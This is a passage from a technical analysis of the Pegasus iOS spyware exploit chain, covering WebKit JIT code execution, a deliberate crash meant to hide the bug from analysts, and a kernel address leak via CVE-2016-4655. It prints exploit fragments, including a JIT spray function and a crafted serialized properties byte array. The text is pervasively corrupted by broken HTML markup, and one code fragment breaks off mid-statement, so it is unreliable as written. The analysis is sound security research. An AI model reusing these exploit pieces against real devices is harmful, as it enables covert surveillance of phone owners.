user-c<strong>on</strong>trolled JSArray. By setting <str<strong>on</strong>g>the</str<strong>on</strong>g> first element <str<strong>on</strong>g>of</str<strong>on</strong>g> that JSArray to <str<strong>on</strong>g>the</str<strong>on</strong>g> JavaScript object to<br />
be leaked (by corrupting <str<strong>on</strong>g>the</str<strong>on</strong>g> pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> underlying storage <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Uint32Array), <str<strong>on</strong>g>the</str<strong>on</strong>g> object’s<br />
address can be read back out <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Uint32Array.<br />
Native code executi<strong>on</strong><br />
All that is left to do for <str<strong>on</strong>g>the</str<strong>on</strong>g> first stage <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> exploit is to create an executable mapping<br />
that will c<strong>on</strong>tain <str<strong>on</strong>g>the</str<strong>on</strong>g> shellcode to be executed. To accomplish this purpose, a JSFuncti<strong>on</strong> object<br />
is created (c<strong>on</strong>taining hundreds <str<strong>on</strong>g>of</str<strong>on</strong>g> empty try/catch blocks that will later be overwritten). To help<br />
ensure that <str<strong>on</strong>g>the</str<strong>on</strong>g> JavaScript will be compiled into native code by <str<strong>on</strong>g>the</str<strong>on</strong>g> JIT, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> is<br />
subsequently called repeatedly. This behavior ensures that <str<strong>on</strong>g>the</str<strong>on</strong>g> JIT compiled (JITed) versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> (which will later be overwritten) will be marked as high priority code that is likely to<br />
be called regularly and should <str<strong>on</strong>g>the</str<strong>on</strong>g>refore not be released. Because <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> way that <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
JavaScriptCore engine handles JITed code, this will reside in an area <str<strong>on</strong>g>of</str<strong>on</strong>g> memory that is mapped<br />
as read/write/execute.<br />
var body = ''<br />
for (var k = 0; k < 0x600; k++) {<br />
body += 'try {} catch(e) {};';<br />
}<br />
var to_overwrite = new Functi<strong>on</strong>('a', body);<br />
for (var i = 0; i < 0x10000; i++) {<br />
Page 9
}<br />
to_overwrite();<br />
The address <str<strong>on</strong>g>of</str<strong>on</strong>g> this JSFuncti<strong>on</strong> object can <str<strong>on</strong>g>the</str<strong>on</strong>g>n be leaked and <str<strong>on</strong>g>the</str<strong>on</strong>g> various members can be<br />
read to acquire <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> RWX mapping. The JITed versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> try/catch blocks are<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g>n overwritten with shellcode, and <str<strong>on</strong>g>the</str<strong>on</strong>g> to_overwrite() functi<strong>on</strong> can simply be called to achieve<br />
arbitrary code executi<strong>on</strong>.<br />
Evading detecti<strong>on</strong><br />
When exploitati<strong>on</strong> fails, <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> exploit c<strong>on</strong>tains a bailout code path, presumably to ensure<br />
that crash dumps do not expose <str<strong>on</strong>g>the</str<strong>on</strong>g> exploitable vulnerability. This bailout code triggers a crash<br />
<strong>on</strong> a clean NULL dereference. Most likely, an analyst analyzing such a crash dump would<br />
quickly identify <str<strong>on</strong>g>the</str<strong>on</strong>g> bug as a n<strong>on</strong>-exploitable NULL pointer dereference and not suspect anything<br />
more sinister. The following code is used to trigger this “clean” crash.<br />
window.__proto__.__proto__ = null;<br />
x = new String("a");<br />
x.__proto__.__proto__.__proto__ = window;<br />
x.Audio;<br />
Page 10
Secti<strong>on</strong> 2: Exploitati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> KASLR by <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g><br />
Stage Two <str<strong>on</strong>g>of</str<strong>on</strong>g> Infecti<strong>on</strong>: Kernel Locati<strong>on</strong> Disclosure<br />
Once <str<strong>on</strong>g>the</str<strong>on</strong>g> attack is launched in <str<strong>on</strong>g>the</str<strong>on</strong>g> first stage, <str<strong>on</strong>g>the</str<strong>on</strong>g> sec<strong>on</strong>d stage exploits a<br />
kernel informati<strong>on</strong> leak (CVE-2016-4655). This prepares <str<strong>on</strong>g>the</str<strong>on</strong>g> device for <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
kernel memory corrupti<strong>on</strong> (CVE-2016-4656) that ultimately leads to jailbreak.<br />
Page 11
<str<strong>on</strong>g>Analysis</str<strong>on</strong>g> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> KASLR Exploit<br />
The sec<strong>on</strong>d stage, Stage 2, is resp<strong>on</strong>sible for escalating privileges <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s iPh<strong>on</strong>e and<br />
establishing an envir<strong>on</strong>ment where jailbreaking <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s device is possible. The Stage 2<br />
binary is used in two distinct c<strong>on</strong>texts within <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g>. By default, Stage 2 c<strong>on</strong>stitutes a<br />
complete <strong>iOS</strong> kernel exploit. Alternatively, <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary attempts to detect <strong>iOS</strong> devices<br />
that have already been jailbroken and, in cases where an existing jailbreak is detected (and has<br />
installed a known backdoor), uses <str<strong>on</strong>g>the</str<strong>on</strong>g> pre-existing backdoor mechanisms to install <str<strong>on</strong>g>Pegasus</str<strong>on</strong>g><br />
specific kernel patches.<br />
In order to perform <str<strong>on</strong>g>the</str<strong>on</strong>g>se tasks, Stage 2 must first determine <str<strong>on</strong>g>the</str<strong>on</strong>g> locati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel in<br />
memory, escalate its own privileges, disable safeguards, and <str<strong>on</strong>g>the</str<strong>on</strong>g>n install <str<strong>on</strong>g>the</str<strong>on</strong>g> necessary tools for<br />
jailbreaking a device. In order to accommodate multiple iPh<strong>on</strong>e versi<strong>on</strong>s, Stage 2 comes in two<br />
flavors, 32-bit and 64-bit. Toge<str<strong>on</strong>g>the</str<strong>on</strong>g>r, <str<strong>on</strong>g>the</str<strong>on</strong>g> two versi<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary target a total <str<strong>on</strong>g>of</str<strong>on</strong>g> 199<br />
iPh<strong>on</strong>e combinati<strong>on</strong>s.<br />
The Stage 2 variants share a lot <str<strong>on</strong>g>of</str<strong>on</strong>g> design similarities, but deviate enough in <str<strong>on</strong>g>the</str<strong>on</strong>g>ir approach that<br />
it is best to look at each variant in relative isolati<strong>on</strong>. The subsecti<strong>on</strong>s that follow will walk through<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> steps involved in each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 variants while pointing out areas <str<strong>on</strong>g>of</str<strong>on</strong>g> similarity between<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> variants when <str<strong>on</strong>g>the</str<strong>on</strong>g>y arise.<br />
Differences Between 32 and 64-Bit Binaries<br />
The 32-bit Stage 2 binary (or simply “32Stage2”) operates <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> older iPh<strong>on</strong>e models (iPh<strong>on</strong>e<br />
4S through iPh<strong>on</strong>e 5c) and targets <strong>iOS</strong> 9.0 through <strong>iOS</strong> 9.3.3. The 64-bit Stage 2 binary (or<br />
simply “64Stage2”) operates <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> newer iPh<strong>on</strong>e models (iPh<strong>on</strong>e 5S and later) and targets <strong>iOS</strong><br />
9.0 through <strong>iOS</strong> 9.3.3. Both binaries perform <str<strong>on</strong>g>the</str<strong>on</strong>g> same general steps and exploit <str<strong>on</strong>g>the</str<strong>on</strong>g> same<br />
underlying vulnerabilities. However, <str<strong>on</strong>g>the</str<strong>on</strong>g> exploitati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g>se vulnerabilities varies between<br />
versi<strong>on</strong>s. In areas where <str<strong>on</strong>g>the</str<strong>on</strong>g> mechanisms differ substantially <str<strong>on</strong>g>the</str<strong>on</strong>g> differences will be specifically<br />
noted or discussed separately.<br />
API Loading<br />
Stage 2 requires a number <str<strong>on</strong>g>of</str<strong>on</strong>g> API functi<strong>on</strong>s to be present in order to succeed. In order to ensure<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong>s are available, Stage 2 dynamically loads <str<strong>on</strong>g>the</str<strong>on</strong>g> necessary API functi<strong>on</strong> addresses via<br />
dlsym calls. While dynamically resolving API functi<strong>on</strong> addresses is by no means a novel<br />
technique for malware, what is interesting about Stage 2’s API loading is <str<strong>on</strong>g>the</str<strong>on</strong>g> fact that <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
authors <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> binary reload many <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> API functi<strong>on</strong>s multiple times. In <str<strong>on</strong>g>the</str<strong>on</strong>g> main functi<strong>on</strong><br />
al<strong>on</strong>e, a large number <str<strong>on</strong>g>of</str<strong>on</strong>g> API functi<strong>on</strong> addresses are loaded with <strong>on</strong>ly a small subset <str<strong>on</strong>g>of</str<strong>on</strong>g> those<br />
functi<strong>on</strong>s ever finding <str<strong>on</strong>g>the</str<strong>on</strong>g>mselves used during <str<strong>on</strong>g>the</str<strong>on</strong>g> course <str<strong>on</strong>g>of</str<strong>on</strong>g> Stage 2’s executi<strong>on</strong> (for example,<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> socket is loaded into memory but is never called). After loading <str<strong>on</strong>g>the</str<strong>on</strong>g> initial set <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
Page 12
API functi<strong>on</strong>s, 32stage2 calls a subroutine (identified in this report as initialize) that in turn<br />
calls several o<str<strong>on</strong>g>the</str<strong>on</strong>g>r subroutines, each <str<strong>on</strong>g>of</str<strong>on</strong>g> which is resp<strong>on</strong>sible for loading additi<strong>on</strong>al API functi<strong>on</strong>s<br />
in additi<strong>on</strong> to performing various startup tasks.<br />
The grouping <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> API functi<strong>on</strong>s being loaded (in terms <str<strong>on</strong>g>of</str<strong>on</strong>g> which API functi<strong>on</strong>s are loading by<br />
which Stage 2 functi<strong>on</strong>s) and <str<strong>on</strong>g>the</str<strong>on</strong>g> inclusi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> multiple API functi<strong>on</strong>s being loaded multiple times<br />
suggests that <str<strong>on</strong>g>the</str<strong>on</strong>g> API loading is specific to individual comp<strong>on</strong>ents or operati<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2<br />
binary. For instance, as discussed later, a pair <str<strong>on</strong>g>of</str<strong>on</strong>g> functi<strong>on</strong>s are resp<strong>on</strong>sible for decompressing<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> jailbreak files, changing <str<strong>on</strong>g>the</str<strong>on</strong>g>ir permissi<strong>on</strong>s via chmod, and positi<strong>on</strong>ing <str<strong>on</strong>g>the</str<strong>on</strong>g> files in <str<strong>on</strong>g>the</str<strong>on</strong>g> correct<br />
locati<strong>on</strong> <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s iPh<strong>on</strong>e. The API functi<strong>on</strong>s resp<strong>on</strong>sible for <str<strong>on</strong>g>the</str<strong>on</strong>g>se operati<strong>on</strong>s are all<br />
loaded by a self-c<strong>on</strong>tained functi<strong>on</strong>. The loading functi<strong>on</strong> <strong>on</strong>ly loads those API functi<strong>on</strong>s that are<br />
necessary for <str<strong>on</strong>g>the</str<strong>on</strong>g> described operati<strong>on</strong>s, and <str<strong>on</strong>g>the</str<strong>on</strong>g> APIs are not shared with any o<str<strong>on</strong>g>the</str<strong>on</strong>g>r part <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
Stage 2 system.<br />
The analysis <str<strong>on</strong>g>of</str<strong>on</strong>g> Stage 2 was also made somewhat easier given <str<strong>on</strong>g>the</str<strong>on</strong>g> heavy use <str<strong>on</strong>g>of</str<strong>on</strong>g> debug logging<br />
throughout <str<strong>on</strong>g>the</str<strong>on</strong>g> binary. Calls to <str<strong>on</strong>g>the</str<strong>on</strong>g> logging sub-system generally reference <str<strong>on</strong>g>the</str<strong>on</strong>g> original file<br />
names used by <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit developers. The presence <str<strong>on</strong>g>of</str<strong>on</strong>g> this debugging code discloses <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
presence <str<strong>on</strong>g>of</str<strong>on</strong>g> at least <str<strong>on</strong>g>the</str<strong>on</strong>g> following individual modules (or subsystems):<br />
1. fs.c - Loads API functi<strong>on</strong>s related to file and file system management such as ftw,<br />
open, read, rename, and mount<br />
2. kaslr.c - Loads API functi<strong>on</strong>s such as IORegistryEntryGetChildIterator,<br />
IORegistryEntryGetProperty, and IOServiceGetMatchingService that<br />
relate to finding <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel using a vulnerability in <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
io_service_open_extended functi<strong>on</strong><br />
3. bh.c - Loads API functi<strong>on</strong>s that relate to <str<strong>on</strong>g>the</str<strong>on</strong>g> decompressi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> next stage payloads and<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g>ir proper placement <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s iPh<strong>on</strong>e by using functi<strong>on</strong>s such as<br />
BZ2_bzDecompress, chmod, and malloc<br />
4. safari.c - Loads API functi<strong>on</strong>s such as sync, exit, and strcpy that are used for<br />
clearing Safari cache files and terminating <str<strong>on</strong>g>the</str<strong>on</strong>g> Safari process. This cleanup is required<br />
for <str<strong>on</strong>g>the</str<strong>on</strong>g> case where we succeed and exit cleanly, as <str<strong>on</strong>g>the</str<strong>on</strong>g> Safari crash cleanup (described<br />
in <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 1 writeup) will never occur.<br />
These artifacts suggest that <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary is based <strong>on</strong> a modular design philosophy or, at<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> very least, is made up <str<strong>on</strong>g>of</str<strong>on</strong>g> various library source code files that are ultimately tied toge<str<strong>on</strong>g>the</str<strong>on</strong>g>r to<br />
form <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary. The various comp<strong>on</strong>ents that make up <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 exploit were likely<br />
designed to be reused across multiple <strong>iOS</strong> exploit chains.<br />
Envir<strong>on</strong>ment Setup and Platform Determinati<strong>on</strong><br />
After initialize completes, Stage 2 calls a functi<strong>on</strong> that specifies a global callback functi<strong>on</strong><br />
that is used whenever Stage 2 terminates due to an error. Based <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> filename supplied in <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
writeLog, most likely <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> is an assert-style callback.<br />
Page 13
In order to determine <str<strong>on</strong>g>the</str<strong>on</strong>g> platform (hardware) <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s device, a call is made to<br />
sysctlbyname for <str<strong>on</strong>g>the</str<strong>on</strong>g> hw.machine object. Ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r call to sysctlbyname is made for <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
kern.osversi<strong>on</strong> informati<strong>on</strong>. From <str<strong>on</strong>g>the</str<strong>on</strong>g>se two calls, Stage 2 is able to accurately determine<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> platform and <strong>iOS</strong> kernel versi<strong>on</strong>s. This informati<strong>on</strong> is <str<strong>on</strong>g>the</str<strong>on</strong>g>n used to find a data structure that<br />
defines <str<strong>on</strong>g>the</str<strong>on</strong>g> various memory <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets that Stage 2 will use for its exploitati<strong>on</strong> operati<strong>on</strong>s. If Stage<br />
2 is unable to find <str<strong>on</strong>g>the</str<strong>on</strong>g> appropriate data structure for <str<strong>on</strong>g>the</str<strong>on</strong>g> platform/<strong>iOS</strong> combinati<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> process<br />
executes <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback and exits.<br />
Stage 2 uses a lock file during its executi<strong>on</strong>. As part <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> setup <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> working envir<strong>on</strong>ment,<br />
Stage 2 establishes <str<strong>on</strong>g>the</str<strong>on</strong>g> filename and path global variables for <str<strong>on</strong>g>the</str<strong>on</strong>g> lock file as<br />
$HOME/tmp/lock (Note: $HOME is an applicati<strong>on</strong> specific variable).<br />
The 32 bit versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary has 100 different combinati<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> platform and <strong>iOS</strong> that<br />
it supports, as identified in <str<strong>on</strong>g>the</str<strong>on</strong>g> table below.<br />
<strong>iOS</strong> Versi<strong>on</strong><br />
iPh<strong>on</strong>e 4S<br />
(“iPh<strong>on</strong>e4,1”)<br />
iPh<strong>on</strong>e 5<br />
(“iPh<strong>on</strong>e5,1”)<br />
iPh<strong>on</strong>e 5<br />
(“iPh<strong>on</strong>e5,2”)<br />
iPh<strong>on</strong>e 5c<br />
(“iPh<strong>on</strong>e5,3”)<br />
iPh<strong>on</strong>e 5c<br />
(“iPh<strong>on</strong>e5,4”)<br />
9.0 ✅ ✅ ✅ ✅ ✅<br />
9.0.1 ✅ ✅ ✅ ✅ ✅<br />
9.0.2 ✅ ✅ ✅ ✅ ✅<br />
9.1 ✅ ✅ ✅ ✅ ✅<br />
9.2 ✅ ✅ ✅ ✅ ✅<br />
9.2.1 ✅ ✅ ✅ ✅ ✅<br />
9.3 (13E233) ✅ ✅ ✅ ✅ ✅<br />
9.3 (13E237) ✅ ✅ ✅ ✅ ✅<br />
9.3 Beta ✅ ✅<br />
9.3 Beta 3 ✅<br />
9.3 Beta 6 ✅<br />
9.3 Beta 7 ✅<br />
9.3.1 ✅ ✅ ✅ ✅ ✅<br />
9.3.2 Beta ✅ ✅ ✅ ✅ ✅<br />
Page 14
9.3.2 Beta 2 ✅ ✅ ✅ ✅ ✅<br />
9.3.2 Beta 3 ✅ ✅ ✅ ✅ ✅<br />
9.3.2 Beta 4 ✅ ✅ ✅ ✅ ✅<br />
9.3.2 ✅ ✅ ✅ ✅ ✅<br />
9.3.3 Beta ✅ ✅ ✅ ✅ ✅<br />
9.3.3 Beta 2 ✅ ✅ ✅ ✅ ✅<br />
9.3.3 Beta 3 ✅ ✅ ✅ ✅ ✅<br />
9.3.3 Beta 4 ✅ ✅ ✅ ✅ ✅<br />
9.3.3 ✅ ✅ ✅ ✅ ✅<br />
Similarly, <str<strong>on</strong>g>the</str<strong>on</strong>g> 64-bit versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> Stage 2 binary supports 99 different <strong>iOS</strong> and iPh<strong>on</strong>e<br />
combinati<strong>on</strong>s. The supported iPh<strong>on</strong>e and <strong>iOS</strong> versi<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> 64Stage2 are identified in <str<strong>on</strong>g>the</str<strong>on</strong>g> table<br />
below.<br />
<strong>iOS</strong><br />
Versi<strong>on</strong><br />
iPh<strong>on</strong>e<br />
5s<br />
(iPh<strong>on</strong>e6,<br />
1)<br />
iPh<strong>on</strong>e<br />
5s<br />
(iPh<strong>on</strong>e6,<br />
2)<br />
iPh<strong>on</strong>e 6<br />
Plus<br />
(iPh<strong>on</strong>e7,<br />
1)<br />
iPh<strong>on</strong>e 6<br />
(iPh<strong>on</strong>e7,<br />
2)<br />
iPh<strong>on</strong>e<br />
6s<br />
(iPh<strong>on</strong>e8,<br />
1)<br />
iPh<strong>on</strong>e<br />
6s Plus<br />
(iPh<strong>on</strong>e8,<br />
2)<br />
iPh<strong>on</strong>e<br />
SE<br />
(iPh<strong>on</strong>e<br />
8,4)<br />
9.2.1<br />
(13D15)<br />
<strong>iOS</strong> 9.2.1<br />
(13D20)<br />
9.3<br />
(13E233)<br />
✅ ✅ ✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅ ✅<br />
9.3<br />
(13E234)<br />
✅<br />
✅<br />
9.3<br />
(13E237)<br />
✅<br />
✅<br />
9.3 Beta<br />
4<br />
9.3 Beta<br />
6<br />
✅<br />
✅<br />
Page 15
9.3 Beta<br />
7<br />
✅<br />
9.3.1 ✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
9.3.2<br />
Beta<br />
9.3.2<br />
Beta 2<br />
9.3.2<br />
Beta 3<br />
9.3.2<br />
Beta 4<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
9.3.2 ✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
9.3.3<br />
Beta<br />
9.3.3<br />
Beta 2<br />
9.3.3<br />
Beta 3<br />
9.3.3<br />
Beta 4<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
9.3.3 ✅ ✅ ✅ ✅ ✅ ✅ ✅<br />
Defeating KASLR<br />
The majority <str<strong>on</strong>g>of</str<strong>on</strong>g> Stage 2’s functi<strong>on</strong>ality deals with manipulating <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel in order to disable<br />
security features <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s device. In order to manipulate <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel, Stage 2 must first<br />
locate <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel. Under normal circumstances <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel will be mapped into a randomized<br />
locati<strong>on</strong> due to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address space layout randomizati<strong>on</strong> (KASLR) mechanism that <strong>iOS</strong><br />
employs. KASLR is designed to prevent processes from locating <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel in memory by<br />
mapping <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel to a pseudorandom locati<strong>on</strong> in memory each time <str<strong>on</strong>g>the</str<strong>on</strong>g> device is powered <strong>on</strong><br />
by <str<strong>on</strong>g>the</str<strong>on</strong>g> user. In order to locate <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel, Stage 2 must find a way to expose a memory address<br />
within kernel memory space to a process in user space. Stage 2 uses <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerability CVE-<br />
2016-4655 1 in order expose a memory address in kernel space.<br />
1 http://www.securityfocus.com/bid/92651<br />
Page 16
In order to find <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel, Stage 2 begins by opening a port to <str<strong>on</strong>g>the</str<strong>on</strong>g> IOKit subsystem. Failing this,<br />
Stage 2 calls <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback and exits. A call to IOServiceMatching for <str<strong>on</strong>g>the</str<strong>on</strong>g> service<br />
named AppleKeyStore is made by Stage 2, and <str<strong>on</strong>g>the</str<strong>on</strong>g> results <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> call are given to<br />
IOServiceGetMatchingService in order to obtain a io_service_t object c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
desired registered IOKit IOService (in this case, AppleKeyStore). With <str<strong>on</strong>g>the</str<strong>on</strong>g> IOService handle,<br />
Stage 2 calls io_service_open_extended and passes a specially crafted properties field to<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> service. The properties field is a (serialized) binary representati<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> XML data that<br />
io_service_open_extended ultimately passes to <str<strong>on</strong>g>the</str<strong>on</strong>g> OSUnserializeBinary functi<strong>on</strong><br />
located in <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel 2 . Within <str<strong>on</strong>g>the</str<strong>on</strong>g> OSUnserializeBinary functi<strong>on</strong> is a switch statement that<br />
handles <str<strong>on</strong>g>the</str<strong>on</strong>g> various types <str<strong>on</strong>g>of</str<strong>on</strong>g> data structures found within a binary XML data structure. The data<br />
type for kOSSerializeNumber blindly accepts <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> data without performing any<br />
type <str<strong>on</strong>g>of</str<strong>on</strong>g> reas<strong>on</strong>able bound checking, which ultimately gives <str<strong>on</strong>g>the</str<strong>on</strong>g> caller <str<strong>on</strong>g>the</str<strong>on</strong>g> ability to request more<br />
memory than should be allowed. This c<strong>on</strong>diti<strong>on</strong> occurs due to <str<strong>on</strong>g>the</str<strong>on</strong>g> following code fragments:<br />
len = (key & kOSSerializeDataMask);<br />
...<br />
case kOSSerializeNumber:<br />
bufferPos += size<str<strong>on</strong>g>of</str<strong>on</strong>g>(l<strong>on</strong>g l<strong>on</strong>g);<br />
if (bufferPos > bufferSize) break;<br />
value = next[1];<br />
value
unsigned char properties[] = {<br />
// kOSSerializeBinarySignature<br />
0xD3, 0x00, 0x00, 0x00,<br />
// kOSSerializeEndCollect<strong>on</strong> | kOSSerializeDicti<strong>on</strong>ary | 2<br />
0x02, 0x00, 0x00, 0x81,<br />
// KEY 1 specified as 30 bytes l<strong>on</strong>g (0x1E)<br />
// kOSSerializeSymbol | 0x1E<br />
0x1E, 0x00, 0x00, 0x08,<br />
"HIDKeyboardModifierMappingSrc", 0x00,<br />
// (30 bytes)<br />
// padding (30 + 3 / 4 = 8 DWORDS)<br />
0x00, 0x00,<br />
// VALUE 1<br />
// kOSSerializeNumber specified as 0x800 bits (256 bytes)<br />
0x00, 0x08, 0x00, 0x04,<br />
// value <str<strong>on</strong>g>of</str<strong>on</strong>g> OSNumber (4)<br />
0x04, 0x00, 0x00, 0x00,<br />
0x00, 0x00, 0x00, 0x00,<br />
// KEY 2 specified as 30 bytes l<strong>on</strong>g (0x1E)<br />
// kOSSerializeSymbol | 0x1E<br />
0x1E, 0x00, 0x00, 0x08,<br />
"HIDKeyboardModifierMappingDst", 0x00, // (30 chars)<br />
// padding (30 + 3 / 4 = 8 DWORDS)<br />
0x00, 0x00,<br />
// VALUE 2<br />
// kOSSerializeEndCollect<strong>on</strong> | kOSSerializeNumber | 32<br />
0x20, 0x00, 0x00, 0x84,<br />
// value <str<strong>on</strong>g>of</str<strong>on</strong>g> OSNumber (0x193)<br />
0x93, 0x01, 0x00, 0x00,<br />
0x00, 0x00, 0x00, 0x00<br />
};<br />
Stage 2 calls IORegistryEntryGetProperty in order to find <str<strong>on</strong>g>the</str<strong>on</strong>g> entry for<br />
HIDKeyboardModifierMappingSrc, which results in <str<strong>on</strong>g>the</str<strong>on</strong>g> properties array creating an<br />
OSNumber larger than <str<strong>on</strong>g>the</str<strong>on</strong>g> maximum 64-bits (8 bytes). Stage 2 uses <str<strong>on</strong>g>the</str<strong>on</strong>g> following code fragment<br />
to call is_io_registry_entry_get_property_bytes, which will read past <str<strong>on</strong>g>the</str<strong>on</strong>g> end <str<strong>on</strong>g>of</str<strong>on</strong>g> a<br />
kernel stack buffer and copy <str<strong>on</strong>g>the</str<strong>on</strong>g> data to a kernel heap buffer. The<br />
IORegistryEntryGetProperty functi<strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g>n returns this heap buffer to user space.<br />
Pointers from this stack overread will <str<strong>on</strong>g>the</str<strong>on</strong>g>refore be leaked to user mode and can be used to<br />
